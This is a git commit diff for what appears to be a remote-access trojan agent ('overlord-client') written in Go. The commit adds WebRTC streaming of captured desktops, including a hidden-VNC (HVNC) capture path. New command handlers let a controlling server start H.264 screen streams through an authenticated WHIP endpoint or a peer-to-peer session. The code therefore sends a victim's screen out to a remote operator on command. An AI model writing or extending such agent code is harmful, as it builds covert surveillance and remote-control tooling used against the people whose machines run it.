WebRTC
This commit is contained in:
@@ -19,6 +19,7 @@ import (
|
||||
"time"
|
||||
|
||||
rt "overlord-client/cmd/agent/runtime"
|
||||
"overlord-client/cmd/agent/webrtcpub"
|
||||
"overlord-client/cmd/agent/wire"
|
||||
)
|
||||
|
||||
@@ -146,6 +147,21 @@ func CaptureAndSend(ctx context.Context, env *rt.Env) error {
|
||||
if ctx.Err() != nil {
|
||||
return nil
|
||||
}
|
||||
if frame.Header.Format == "h264" && webrtcpub.IsActive() {
|
||||
dur := time.Second / time.Duration(fps)
|
||||
if dur <= 0 {
|
||||
dur = 33 * time.Millisecond
|
||||
}
|
||||
if werr := webrtcpub.WriteH264(frame.Data, dur); werr != nil {
|
||||
log.Printf("webrtc: write h264 failed: %v", werr)
|
||||
}
|
||||
statFrames.Add(1)
|
||||
statCapNs.Add(captureDur.Nanoseconds())
|
||||
statEncNs.Add(encodeDur.Nanoseconds())
|
||||
statTotalNs.Add(time.Since(t0).Nanoseconds())
|
||||
statBytes.Add(int64(len(frame.Data)))
|
||||
return nil
|
||||
}
|
||||
if !AcquireFrameSlot() {
|
||||
return nil // backpressure: server hasn't acked previous frames
|
||||
}
|
||||
@@ -567,6 +583,9 @@ func buildFrame(img *image.RGBA, display int, quality int) (wire.Frame, time.Dur
|
||||
log.Printf("capture: h264 skipped for odd dimensions (%dx%d), falling back to jpeg", width, height)
|
||||
codec = "jpeg"
|
||||
} else {
|
||||
if webrtcpub.ConsumeKeyframeRequest() {
|
||||
resetH264Encoder()
|
||||
}
|
||||
h264Bytes, err := encodeH264Frame(img)
|
||||
if err == nil && len(h264Bytes) > 0 {
|
||||
prevMu.Lock()
|
||||
@@ -672,6 +691,9 @@ func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time
|
||||
log.Printf("hvnc capture: h264 skipped for odd dimensions (%dx%d), falling back to jpeg", width, height)
|
||||
codec = "jpeg"
|
||||
} else {
|
||||
if webrtcpub.ConsumeKeyframeRequest() {
|
||||
resetH264Encoder()
|
||||
}
|
||||
h264Bytes, err := encodeH264Frame(img)
|
||||
if err == nil && len(h264Bytes) > 0 {
|
||||
prevMu.Lock()
|
||||
|
||||
@@ -610,6 +610,30 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
env.Plugins.Unload(pluginId)
|
||||
_ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: pluginId, Event: "unloaded"})
|
||||
return nil
|
||||
case "webrtc_publish":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
if payload == nil {
|
||||
sendCommandResultSafe(env, cmdID, false, "missing payload")
|
||||
return nil
|
||||
}
|
||||
return handleWebrtcPublish(ctx, env, cmdID, payload)
|
||||
case "webrtc_stop":
|
||||
return handleWebrtcStop(ctx, env, cmdID)
|
||||
case "webrtc_p2p_offer":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
if payload == nil {
|
||||
sendCommandResultSafe(env, cmdID, false, "missing payload")
|
||||
return nil
|
||||
}
|
||||
return handleWebrtcP2POffer(ctx, env, cmdID, payload)
|
||||
case "webrtc_p2p_ice":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
if payload == nil {
|
||||
return nil
|
||||
}
|
||||
return handleWebrtcP2PIce(ctx, env, cmdID, payload)
|
||||
case "webrtc_p2p_stop":
|
||||
return handleWebrtcP2PStop(ctx, env, cmdID)
|
||||
case "desktop_start":
|
||||
if goruntime.GOOS == "darwin" {
|
||||
perms := sysinfo.DarwinPermissions()
|
||||
|
||||
@@ -0,0 +1,154 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"log"
|
||||
"net/url"
|
||||
"strings"
|
||||
|
||||
"overlord-client/cmd/agent/capture"
|
||||
"overlord-client/cmd/agent/runtime"
|
||||
"overlord-client/cmd/agent/webrtcpub"
|
||||
"overlord-client/cmd/agent/wire"
|
||||
)
|
||||
|
||||
func handleWebrtcPublish(ctx context.Context, env *runtime.Env, cmdID string, payload map[string]interface{}) error {
|
||||
whipPath, _ := payload["whipPath"].(string)
|
||||
token, _ := payload["token"].(string)
|
||||
if whipPath == "" || token == "" {
|
||||
sendCommandResultSafe(env, cmdID, false, "missing whipPath/token")
|
||||
return nil
|
||||
}
|
||||
|
||||
whipURL, err := buildWhipURL(env, whipPath)
|
||||
if err != nil {
|
||||
sendCommandResultSafe(env, cmdID, false, err.Error())
|
||||
return nil
|
||||
}
|
||||
|
||||
opts := webrtcpub.Options{
|
||||
WhipURL: whipURL,
|
||||
PublishToken: token,
|
||||
TLSInsecureSkipVerify: env.Cfg.TLSInsecureSkipVerify,
|
||||
TLSCAPath: env.Cfg.TLSCAPath,
|
||||
}
|
||||
|
||||
goSafe("webrtc publish", env.Cancel, func() {
|
||||
if _, err := webrtcpub.Start(ctx, opts); err != nil {
|
||||
log.Printf("webrtc: publish start failed: %v", err)
|
||||
_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
// Force the encoder to emit a fresh SPS/PPS/IDR so the freshly
|
||||
// subscribed viewer can start decoding immediately — otherwise it has
|
||||
// to wait up to keyframeEvery for the next natural IDR.
|
||||
capture.ResetPrev()
|
||||
_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result", CommandID: cmdID, OK: true,
|
||||
})
|
||||
})
|
||||
return nil
|
||||
}
|
||||
|
||||
func handleWebrtcStop(ctx context.Context, env *runtime.Env, cmdID string) error {
|
||||
_ = ctx
|
||||
webrtcpub.Stop()
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
}
|
||||
|
||||
func handleWebrtcP2POffer(ctx context.Context, env *runtime.Env, cmdID string, payload map[string]interface{}) error {
|
||||
sessionID, _ := payload["sessionId"].(string)
|
||||
offerSDP, _ := payload["sdp"].(string)
|
||||
if sessionID == "" || offerSDP == "" {
|
||||
sendCommandResultSafe(env, cmdID, false, "missing sessionId/sdp")
|
||||
return nil
|
||||
}
|
||||
|
||||
callbacks := webrtcpub.P2POfferCallbacks{
|
||||
OnICE: func(c webrtcpub.ICECandidate) {
|
||||
if c.Candidate == "" {
|
||||
return
|
||||
}
|
||||
_ = wire.WriteMsg(ctx, env.Conn, wire.WebRTCP2PIce{
|
||||
Type: "webrtc_p2p_ice",
|
||||
SessionID: sessionID,
|
||||
Candidate: c.Candidate,
|
||||
SDPMid: c.SDPMid,
|
||||
SDPMLineIndex: c.SDPMLineIndex,
|
||||
})
|
||||
},
|
||||
OnClose: func() {
|
||||
log.Printf("webrtc: P2P session %s closed", sessionID)
|
||||
},
|
||||
}
|
||||
|
||||
answerSDP, err := webrtcpub.StartP2POffer(ctx, sessionID, offerSDP, callbacks)
|
||||
if err != nil {
|
||||
sendCommandResultSafe(env, cmdID, false, err.Error())
|
||||
return nil
|
||||
}
|
||||
// Force a fresh SPS/PPS/IDR so the new P2P viewer can decode immediately.
|
||||
capture.ResetPrev()
|
||||
_ = wire.WriteMsg(ctx, env.Conn, wire.WebRTCP2PAnswer{
|
||||
Type: "webrtc_p2p_answer",
|
||||
SessionID: sessionID,
|
||||
SDP: answerSDP,
|
||||
})
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
}
|
||||
|
||||
func handleWebrtcP2PIce(_ context.Context, env *runtime.Env, cmdID string, payload map[string]interface{}) error {
|
||||
sessionID, _ := payload["sessionId"].(string)
|
||||
candidate, _ := payload["candidate"].(string)
|
||||
mid, _ := payload["sdpMid"].(string)
|
||||
var idx uint16
|
||||
if v, ok := payloadInt32(payload, "sdpMLineIndex"); ok {
|
||||
idx = uint16(v)
|
||||
}
|
||||
webrtcpub.AddP2PICECandidate(sessionID, webrtcpub.ICECandidate{
|
||||
Candidate: candidate,
|
||||
SDPMid: mid,
|
||||
SDPMLineIndex: idx,
|
||||
})
|
||||
_ = env
|
||||
_ = cmdID
|
||||
return nil
|
||||
}
|
||||
|
||||
func handleWebrtcP2PStop(_ context.Context, env *runtime.Env, cmdID string) error {
|
||||
webrtcpub.StopP2P()
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
}
|
||||
|
||||
func buildWhipURL(env *runtime.Env, whipPath string) (string, error) {
|
||||
if len(env.Cfg.ServerURLs) == 0 {
|
||||
return "", fmt.Errorf("no server URLs configured")
|
||||
}
|
||||
idx := env.Cfg.ServerIndex
|
||||
if idx < 0 || idx >= len(env.Cfg.ServerURLs) {
|
||||
idx = 0
|
||||
}
|
||||
base, err := url.Parse(env.Cfg.ServerURLs[idx])
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("parse server url: %w", err)
|
||||
}
|
||||
switch strings.ToLower(base.Scheme) {
|
||||
case "wss":
|
||||
base.Scheme = "https"
|
||||
case "ws":
|
||||
base.Scheme = "http"
|
||||
}
|
||||
if !strings.HasPrefix(whipPath, "/") {
|
||||
whipPath = "/" + whipPath
|
||||
}
|
||||
base.Path = whipPath
|
||||
base.RawQuery = ""
|
||||
base.Fragment = ""
|
||||
return base.String(), nil
|
||||
}
|
||||
@@ -0,0 +1,191 @@
|
||||
//go:build overlord_webrtc
|
||||
|
||||
package webrtcpub
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"log"
|
||||
"sync"
|
||||
|
||||
"github.com/pion/webrtc/v4"
|
||||
)
|
||||
|
||||
type p2pSession struct {
|
||||
id string
|
||||
pc *webrtc.PeerConnection
|
||||
track *webrtc.TrackLocalStaticSample
|
||||
onICE func(ICECandidate)
|
||||
onClose func()
|
||||
closeOnce sync.Once
|
||||
}
|
||||
|
||||
var (
|
||||
p2pMu sync.Mutex
|
||||
p2p *p2pSession
|
||||
)
|
||||
|
||||
func StartP2POffer(ctx context.Context, sessionID, offerSDP string, opts P2POfferCallbacks) (string, error) {
|
||||
if sessionID == "" {
|
||||
return "", errors.New("webrtcpub: empty sessionID")
|
||||
}
|
||||
if offerSDP == "" {
|
||||
return "", errors.New("webrtcpub: empty offer SDP")
|
||||
}
|
||||
StopP2P()
|
||||
|
||||
mediaEngine := &webrtc.MediaEngine{}
|
||||
if err := mediaEngine.RegisterCodec(webrtc.RTPCodecParameters{
|
||||
RTPCodecCapability: webrtc.RTPCodecCapability{
|
||||
MimeType: webrtc.MimeTypeH264,
|
||||
ClockRate: 90000,
|
||||
SDPFmtpLine: "level-asymmetry-allowed=1;packetization-mode=1;profile-level-id=42e01f",
|
||||
},
|
||||
PayloadType: 102,
|
||||
}, webrtc.RTPCodecTypeVideo); err != nil {
|
||||
return "", fmt.Errorf("register codec: %w", err)
|
||||
}
|
||||
|
||||
api := webrtc.NewAPI(webrtc.WithMediaEngine(mediaEngine))
|
||||
pc, err := api.NewPeerConnection(webrtc.Configuration{
|
||||
ICEServers: []webrtc.ICEServer{
|
||||
{URLs: []string{"stun:stun.l.google.com:19302"}},
|
||||
},
|
||||
})
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("new peer connection: %w", err)
|
||||
}
|
||||
|
||||
track, err := webrtc.NewTrackLocalStaticSample(
|
||||
webrtc.RTPCodecCapability{MimeType: webrtc.MimeTypeH264},
|
||||
"overlord-video-p2p", "overlord-desktop",
|
||||
)
|
||||
if err != nil {
|
||||
_ = pc.Close()
|
||||
return "", fmt.Errorf("new track: %w", err)
|
||||
}
|
||||
transceiver, err := pc.AddTransceiverFromTrack(track, webrtc.RTPTransceiverInit{
|
||||
Direction: webrtc.RTPTransceiverDirectionSendonly,
|
||||
})
|
||||
if err != nil {
|
||||
_ = pc.Close()
|
||||
return "", fmt.Errorf("add transceiver: %w", err)
|
||||
}
|
||||
if sender := transceiver.Sender(); sender != nil {
|
||||
go drainRTCP(sender)
|
||||
}
|
||||
|
||||
sess := &p2pSession{
|
||||
id: sessionID,
|
||||
pc: pc,
|
||||
track: track,
|
||||
onICE: opts.OnICE,
|
||||
onClose: opts.OnClose,
|
||||
}
|
||||
|
||||
pc.OnICECandidate(func(c *webrtc.ICECandidate) {
|
||||
if sess.onICE == nil {
|
||||
return
|
||||
}
|
||||
if c == nil {
|
||||
sess.onICE(ICECandidate{Candidate: ""})
|
||||
return
|
||||
}
|
||||
init := c.ToJSON()
|
||||
mid := ""
|
||||
if init.SDPMid != nil {
|
||||
mid = *init.SDPMid
|
||||
}
|
||||
var idx uint16
|
||||
if init.SDPMLineIndex != nil {
|
||||
idx = *init.SDPMLineIndex
|
||||
}
|
||||
sess.onICE(ICECandidate{
|
||||
Candidate: init.Candidate,
|
||||
SDPMid: mid,
|
||||
SDPMLineIndex: idx,
|
||||
})
|
||||
})
|
||||
pc.OnConnectionStateChange(func(state webrtc.PeerConnectionState) {
|
||||
log.Printf("webrtcpub: P2P peer state=%s", state)
|
||||
switch state {
|
||||
case webrtc.PeerConnectionStateFailed, webrtc.PeerConnectionStateClosed, webrtc.PeerConnectionStateDisconnected:
|
||||
sess.closeAndUnregister()
|
||||
}
|
||||
})
|
||||
|
||||
if err := pc.SetRemoteDescription(webrtc.SessionDescription{
|
||||
Type: webrtc.SDPTypeOffer,
|
||||
SDP: offerSDP,
|
||||
}); err != nil {
|
||||
_ = pc.Close()
|
||||
return "", fmt.Errorf("set remote desc: %w", err)
|
||||
}
|
||||
answer, err := pc.CreateAnswer(nil)
|
||||
if err != nil {
|
||||
_ = pc.Close()
|
||||
return "", fmt.Errorf("create answer: %w", err)
|
||||
}
|
||||
if err := pc.SetLocalDescription(answer); err != nil {
|
||||
_ = pc.Close()
|
||||
return "", fmt.Errorf("set local desc: %w", err)
|
||||
}
|
||||
|
||||
p2pMu.Lock()
|
||||
p2p = sess
|
||||
p2pMu.Unlock()
|
||||
registerWriter(p2pWriterID(sessionID), &trackWriter{t: track})
|
||||
return answer.SDP, nil
|
||||
}
|
||||
|
||||
func AddP2PICECandidate(sessionID string, c ICECandidate) {
|
||||
if c.Candidate == "" {
|
||||
return
|
||||
}
|
||||
p2pMu.Lock()
|
||||
sess := p2p
|
||||
p2pMu.Unlock()
|
||||
if sess == nil || sess.id != sessionID {
|
||||
return
|
||||
}
|
||||
mid := c.SDPMid
|
||||
idx := c.SDPMLineIndex
|
||||
if err := sess.pc.AddICECandidate(webrtc.ICECandidateInit{
|
||||
Candidate: c.Candidate,
|
||||
SDPMid: &mid,
|
||||
SDPMLineIndex: &idx,
|
||||
}); err != nil {
|
||||
log.Printf("webrtcpub: add p2p ICE candidate failed: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// StopP2P tears down the active P2P session, if any.
|
||||
func StopP2P() {
|
||||
p2pMu.Lock()
|
||||
sess := p2p
|
||||
p2p = nil
|
||||
p2pMu.Unlock()
|
||||
if sess != nil {
|
||||
sess.closeAndUnregister()
|
||||
}
|
||||
}
|
||||
|
||||
func (s *p2pSession) closeAndUnregister() {
|
||||
s.closeOnce.Do(func() {
|
||||
unregisterWriter(p2pWriterID(s.id))
|
||||
_ = s.pc.Close()
|
||||
if s.onClose != nil {
|
||||
s.onClose()
|
||||
}
|
||||
})
|
||||
p2pMu.Lock()
|
||||
if p2p == s {
|
||||
p2p = nil
|
||||
}
|
||||
p2pMu.Unlock()
|
||||
}
|
||||
|
||||
func p2pWriterID(sessionID string) string {
|
||||
return "p2p:" + sessionID
|
||||
}
|
||||
@@ -0,0 +1,85 @@
|
||||
package webrtcpub
|
||||
|
||||
import (
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
)
|
||||
|
||||
type FrameWriter interface {
|
||||
WriteH264(nalu []byte, dur time.Duration) error
|
||||
}
|
||||
|
||||
var (
|
||||
writersMu sync.RWMutex
|
||||
writers = map[string]FrameWriter{}
|
||||
)
|
||||
|
||||
func registerWriter(id string, w FrameWriter) {
|
||||
if id == "" || w == nil {
|
||||
return
|
||||
}
|
||||
writersMu.Lock()
|
||||
writers[id] = w
|
||||
writersMu.Unlock()
|
||||
}
|
||||
|
||||
func unregisterWriter(id string) {
|
||||
if id == "" {
|
||||
return
|
||||
}
|
||||
writersMu.Lock()
|
||||
delete(writers, id)
|
||||
writersMu.Unlock()
|
||||
}
|
||||
|
||||
func IsActive() bool {
|
||||
writersMu.RLock()
|
||||
defer writersMu.RUnlock()
|
||||
return len(writers) > 0
|
||||
}
|
||||
|
||||
var keyframeWanted atomic.Bool
|
||||
|
||||
func RequestKeyframe() {
|
||||
keyframeWanted.Store(true)
|
||||
}
|
||||
|
||||
func ConsumeKeyframeRequest() bool {
|
||||
return keyframeWanted.Swap(false)
|
||||
}
|
||||
|
||||
func WriteH264(nalu []byte, dur time.Duration) error {
|
||||
if len(nalu) == 0 {
|
||||
return nil
|
||||
}
|
||||
writersMu.RLock()
|
||||
defer writersMu.RUnlock()
|
||||
for _, w := range writers {
|
||||
_ = w.WriteH264(nalu, dur)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Deadass fuck WebRTC bro ts is so confusing
|
||||
type Options struct {
|
||||
// (e.g. https://server:5173/api/webrtc/agents/abc/whip).
|
||||
WhipURL string
|
||||
// PublishToken is the bearer token issued by the server.
|
||||
PublishToken string
|
||||
// TLSInsecureSkipVerify mirrors the agent's existing TLS config.
|
||||
TLSInsecureSkipVerify bool
|
||||
// TLSCAPath is an optional custom CA bundle.
|
||||
TLSCAPath string
|
||||
}
|
||||
|
||||
type ICECandidate struct {
|
||||
Candidate string `msgpack:"candidate"`
|
||||
SDPMid string `msgpack:"sdpMid"`
|
||||
SDPMLineIndex uint16 `msgpack:"sdpMLineIndex"`
|
||||
}
|
||||
|
||||
type P2POfferCallbacks struct {
|
||||
OnICE func(c ICECandidate)
|
||||
OnClose func()
|
||||
}
|
||||
@@ -0,0 +1,28 @@
|
||||
//go:build !overlord_webrtc
|
||||
|
||||
package webrtcpub
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
)
|
||||
|
||||
var ErrNotCompiled = errors.New("webrtc support not compiled in (build with -tags overlord_webrtc)")
|
||||
|
||||
type Publisher struct{}
|
||||
|
||||
func Start(_ context.Context, _ Options) (*Publisher, error) {
|
||||
return nil, ErrNotCompiled
|
||||
}
|
||||
|
||||
func Stop() {}
|
||||
|
||||
func (*Publisher) Close() {}
|
||||
|
||||
func StartP2POffer(_ context.Context, _ string, _ string, _ P2POfferCallbacks) (string, error) {
|
||||
return "", ErrNotCompiled
|
||||
}
|
||||
|
||||
func AddP2PICECandidate(_ string, _ ICECandidate) {}
|
||||
|
||||
func StopP2P() {}
|
||||
@@ -0,0 +1,258 @@
|
||||
//go:build overlord_webrtc
|
||||
|
||||
package webrtcpub
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"crypto/x509"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"os"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/pion/rtcp"
|
||||
"github.com/pion/webrtc/v4"
|
||||
"github.com/pion/webrtc/v4/pkg/media"
|
||||
)
|
||||
|
||||
func drainRTCP(sender *webrtc.RTPSender) {
|
||||
buf := make([]byte, 1500)
|
||||
for {
|
||||
n, _, err := sender.Read(buf)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
packets, err := rtcp.Unmarshal(buf[:n])
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, p := range packets {
|
||||
switch p.(type) {
|
||||
case *rtcp.PictureLossIndication, *rtcp.FullIntraRequest:
|
||||
RequestKeyframe()
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
type trackWriter struct {
|
||||
t *webrtc.TrackLocalStaticSample
|
||||
}
|
||||
|
||||
func (w *trackWriter) WriteH264(nalu []byte, dur time.Duration) error {
|
||||
return w.t.WriteSample(media.Sample{Data: nalu, Duration: dur})
|
||||
}
|
||||
|
||||
const whipWriterID = "whip"
|
||||
|
||||
type Publisher struct {
|
||||
pc *webrtc.PeerConnection
|
||||
resourceURL string
|
||||
token string
|
||||
httpClient *http.Client
|
||||
closeOnce sync.Once
|
||||
}
|
||||
|
||||
var (
|
||||
whipMu sync.Mutex
|
||||
whip *Publisher
|
||||
)
|
||||
|
||||
func Start(ctx context.Context, opts Options) (*Publisher, error) {
|
||||
if strings.TrimSpace(opts.WhipURL) == "" {
|
||||
return nil, errors.New("webrtcpub: empty WhipURL")
|
||||
}
|
||||
if strings.TrimSpace(opts.PublishToken) == "" {
|
||||
return nil, errors.New("webrtcpub: empty PublishToken")
|
||||
}
|
||||
Stop()
|
||||
|
||||
httpClient := buildHTTPClient(opts)
|
||||
|
||||
mediaEngine := &webrtc.MediaEngine{}
|
||||
if err := mediaEngine.RegisterCodec(webrtc.RTPCodecParameters{
|
||||
RTPCodecCapability: webrtc.RTPCodecCapability{
|
||||
MimeType: webrtc.MimeTypeH264,
|
||||
ClockRate: 90000,
|
||||
SDPFmtpLine: "level-asymmetry-allowed=1;packetization-mode=1;profile-level-id=42e01f",
|
||||
},
|
||||
PayloadType: 102,
|
||||
}, webrtc.RTPCodecTypeVideo); err != nil {
|
||||
return nil, fmt.Errorf("register codec: %w", err)
|
||||
}
|
||||
|
||||
api := webrtc.NewAPI(webrtc.WithMediaEngine(mediaEngine))
|
||||
pc, err := api.NewPeerConnection(webrtc.Configuration{})
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("new peer connection: %w", err)
|
||||
}
|
||||
|
||||
track, err := webrtc.NewTrackLocalStaticSample(
|
||||
webrtc.RTPCodecCapability{MimeType: webrtc.MimeTypeH264},
|
||||
"overlord-video", "overlord-desktop",
|
||||
)
|
||||
if err != nil {
|
||||
_ = pc.Close()
|
||||
return nil, fmt.Errorf("new track: %w", err)
|
||||
}
|
||||
transceiver, err := pc.AddTransceiverFromTrack(track, webrtc.RTPTransceiverInit{
|
||||
Direction: webrtc.RTPTransceiverDirectionSendonly,
|
||||
})
|
||||
if err != nil {
|
||||
_ = pc.Close()
|
||||
return nil, fmt.Errorf("add transceiver: %w", err)
|
||||
}
|
||||
if sender := transceiver.Sender(); sender != nil {
|
||||
go drainRTCP(sender)
|
||||
}
|
||||
|
||||
offer, err := pc.CreateOffer(nil)
|
||||
if err != nil {
|
||||
_ = pc.Close()
|
||||
return nil, fmt.Errorf("create offer: %w", err)
|
||||
}
|
||||
gathered := webrtc.GatheringCompletePromise(pc)
|
||||
if err := pc.SetLocalDescription(offer); err != nil {
|
||||
_ = pc.Close()
|
||||
return nil, fmt.Errorf("set local desc: %w", err)
|
||||
}
|
||||
|
||||
select {
|
||||
case <-gathered:
|
||||
case <-time.After(5 * time.Second):
|
||||
log.Printf("webrtcpub: ICE gathering timeout; continuing with partial candidates")
|
||||
case <-ctx.Done():
|
||||
_ = pc.Close()
|
||||
return nil, ctx.Err()
|
||||
}
|
||||
|
||||
answerSDP, resourceURL, err := postWhip(ctx, httpClient, opts.WhipURL, opts.PublishToken, pc.LocalDescription().SDP)
|
||||
if err != nil {
|
||||
_ = pc.Close()
|
||||
return nil, err
|
||||
}
|
||||
if err := pc.SetRemoteDescription(webrtc.SessionDescription{
|
||||
Type: webrtc.SDPTypeAnswer,
|
||||
SDP: answerSDP,
|
||||
}); err != nil {
|
||||
_ = pc.Close()
|
||||
return nil, fmt.Errorf("set remote desc: %w", err)
|
||||
}
|
||||
|
||||
pub := &Publisher{
|
||||
pc: pc,
|
||||
resourceURL: resourceURL,
|
||||
token: opts.PublishToken,
|
||||
httpClient: httpClient,
|
||||
}
|
||||
|
||||
pc.OnConnectionStateChange(func(state webrtc.PeerConnectionState) {
|
||||
log.Printf("webrtcpub: WHIP peer state=%s", state)
|
||||
switch state {
|
||||
case webrtc.PeerConnectionStateFailed, webrtc.PeerConnectionStateClosed:
|
||||
whipMu.Lock()
|
||||
if whip == pub {
|
||||
whip = nil
|
||||
}
|
||||
whipMu.Unlock()
|
||||
unregisterWriter(whipWriterID)
|
||||
}
|
||||
})
|
||||
|
||||
whipMu.Lock()
|
||||
whip = pub
|
||||
whipMu.Unlock()
|
||||
registerWriter(whipWriterID, &trackWriter{t: track})
|
||||
log.Printf("webrtcpub: WHIP session established (resource=%s)", resourceURL)
|
||||
return pub, nil
|
||||
}
|
||||
|
||||
func Stop() {
|
||||
whipMu.Lock()
|
||||
p := whip
|
||||
whip = nil
|
||||
whipMu.Unlock()
|
||||
unregisterWriter(whipWriterID)
|
||||
if p != nil {
|
||||
p.Close()
|
||||
}
|
||||
}
|
||||
|
||||
func (p *Publisher) Close() {
|
||||
p.closeOnce.Do(func() {
|
||||
if p.resourceURL != "" {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 3*time.Second)
|
||||
defer cancel()
|
||||
req, err := http.NewRequestWithContext(ctx, http.MethodDelete, p.resourceURL, nil)
|
||||
if err == nil {
|
||||
if p.token != "" {
|
||||
req.Header.Set("Authorization", "Bearer "+p.token)
|
||||
}
|
||||
if resp, err := p.httpClient.Do(req); err == nil {
|
||||
_ = resp.Body.Close()
|
||||
}
|
||||
}
|
||||
}
|
||||
_ = p.pc.Close()
|
||||
})
|
||||
}
|
||||
|
||||
func postWhip(ctx context.Context, client *http.Client, whipURL, token, sdp string) (string, string, error) {
|
||||
req, err := http.NewRequestWithContext(ctx, http.MethodPost, whipURL, strings.NewReader(sdp))
|
||||
if err != nil {
|
||||
return "", "", fmt.Errorf("build whip request: %w", err)
|
||||
}
|
||||
req.Header.Set("Content-Type", "application/sdp")
|
||||
req.Header.Set("Authorization", "Bearer "+token)
|
||||
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return "", "", fmt.Errorf("whip post: %w", err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
body, _ := io.ReadAll(resp.Body)
|
||||
if resp.StatusCode/100 != 2 {
|
||||
return "", "", fmt.Errorf("whip post: %s: %s", resp.Status, bytes.TrimSpace(body))
|
||||
}
|
||||
|
||||
resource := resp.Header.Get("Location")
|
||||
if resource != "" {
|
||||
if parsed, err := url.Parse(resource); err == nil && !parsed.IsAbs() {
|
||||
base, _ := url.Parse(whipURL)
|
||||
if base != nil {
|
||||
resource = base.ResolveReference(parsed).String()
|
||||
}
|
||||
}
|
||||
}
|
||||
return string(body), resource, nil
|
||||
}
|
||||
|
||||
func buildHTTPClient(opts Options) *http.Client {
|
||||
tlsCfg := &tls.Config{
|
||||
InsecureSkipVerify: opts.TLSInsecureSkipVerify,
|
||||
MinVersion: tls.VersionTLS12,
|
||||
}
|
||||
if path := strings.TrimSpace(opts.TLSCAPath); path != "" {
|
||||
if pem, err := os.ReadFile(path); err == nil {
|
||||
pool := x509.NewCertPool()
|
||||
if pool.AppendCertsFromPEM(pem) {
|
||||
tlsCfg.RootCAs = pool
|
||||
}
|
||||
}
|
||||
}
|
||||
return &http.Client{
|
||||
Timeout: 15 * time.Second,
|
||||
Transport: &http.Transport{
|
||||
TLSClientConfig: tlsCfg,
|
||||
},
|
||||
}
|
||||
}
|
||||
@@ -286,3 +286,17 @@ type DisconnectInfo struct {
|
||||
Reason string `msgpack:"reason"` // "normal", "panic", "crash", "network", "timeout"
|
||||
Detail string `msgpack:"detail,omitempty"` // error message
|
||||
}
|
||||
|
||||
type WebRTCP2PAnswer struct {
|
||||
Type string `msgpack:"type"`
|
||||
SessionID string `msgpack:"sessionId"`
|
||||
SDP string `msgpack:"sdp"`
|
||||
}
|
||||
|
||||
type WebRTCP2PIce struct {
|
||||
Type string `msgpack:"type"`
|
||||
SessionID string `msgpack:"sessionId"`
|
||||
Candidate string `msgpack:"candidate"`
|
||||
SDPMid string `msgpack:"sdpMid"`
|
||||
SDPMLineIndex uint16 `msgpack:"sdpMLineIndex"`
|
||||
}
|
||||
|
||||
@@ -24,7 +24,26 @@ require (
|
||||
github.com/gen2brain/x264-go/x264c v0.0.0-20241022182000-732e1bdb7da2 // indirect
|
||||
github.com/gen2brain/x264-go/yuv v0.0.0-20221204084822-82ee2951dea2 // indirect
|
||||
github.com/godbus/dbus/v5 v5.1.0 // indirect
|
||||
github.com/google/uuid v1.6.0 // indirect
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
||||
github.com/pion/datachannel v1.5.10 // indirect
|
||||
github.com/pion/dtls/v3 v3.0.4 // indirect
|
||||
github.com/pion/ice/v4 v4.0.3 // indirect
|
||||
github.com/pion/interceptor v0.1.37 // indirect
|
||||
github.com/pion/logging v0.2.2 // indirect
|
||||
github.com/pion/mdns/v2 v2.0.7 // indirect
|
||||
github.com/pion/randutil v0.1.0 // indirect
|
||||
github.com/pion/rtcp v1.2.15 // indirect
|
||||
github.com/pion/rtp v1.8.10 // indirect
|
||||
github.com/pion/sctp v1.8.35 // indirect
|
||||
github.com/pion/sdp/v3 v3.0.9 // indirect
|
||||
github.com/pion/srtp/v3 v3.0.4 // indirect
|
||||
github.com/pion/stun/v3 v3.0.0 // indirect
|
||||
github.com/pion/transport/v3 v3.0.7 // indirect
|
||||
github.com/pion/turn/v4 v4.0.0 // indirect
|
||||
github.com/pion/webrtc/v4 v4.0.7 // indirect
|
||||
github.com/vmihailenco/tagparser/v2 v2.0.0 // indirect
|
||||
github.com/wlynxg/anet v0.0.5 // indirect
|
||||
golang.org/x/net v0.51.0 // indirect
|
||||
gopkg.in/yaml.v3 v3.0.1 // indirect
|
||||
)
|
||||
|
||||
@@ -4,6 +4,8 @@ github.com/creack/pty v1.1.21 h1:1/QdRyBaHHJP61QkWMXlOIBfsgdDeeKfK8SYVUWJKf0=
|
||||
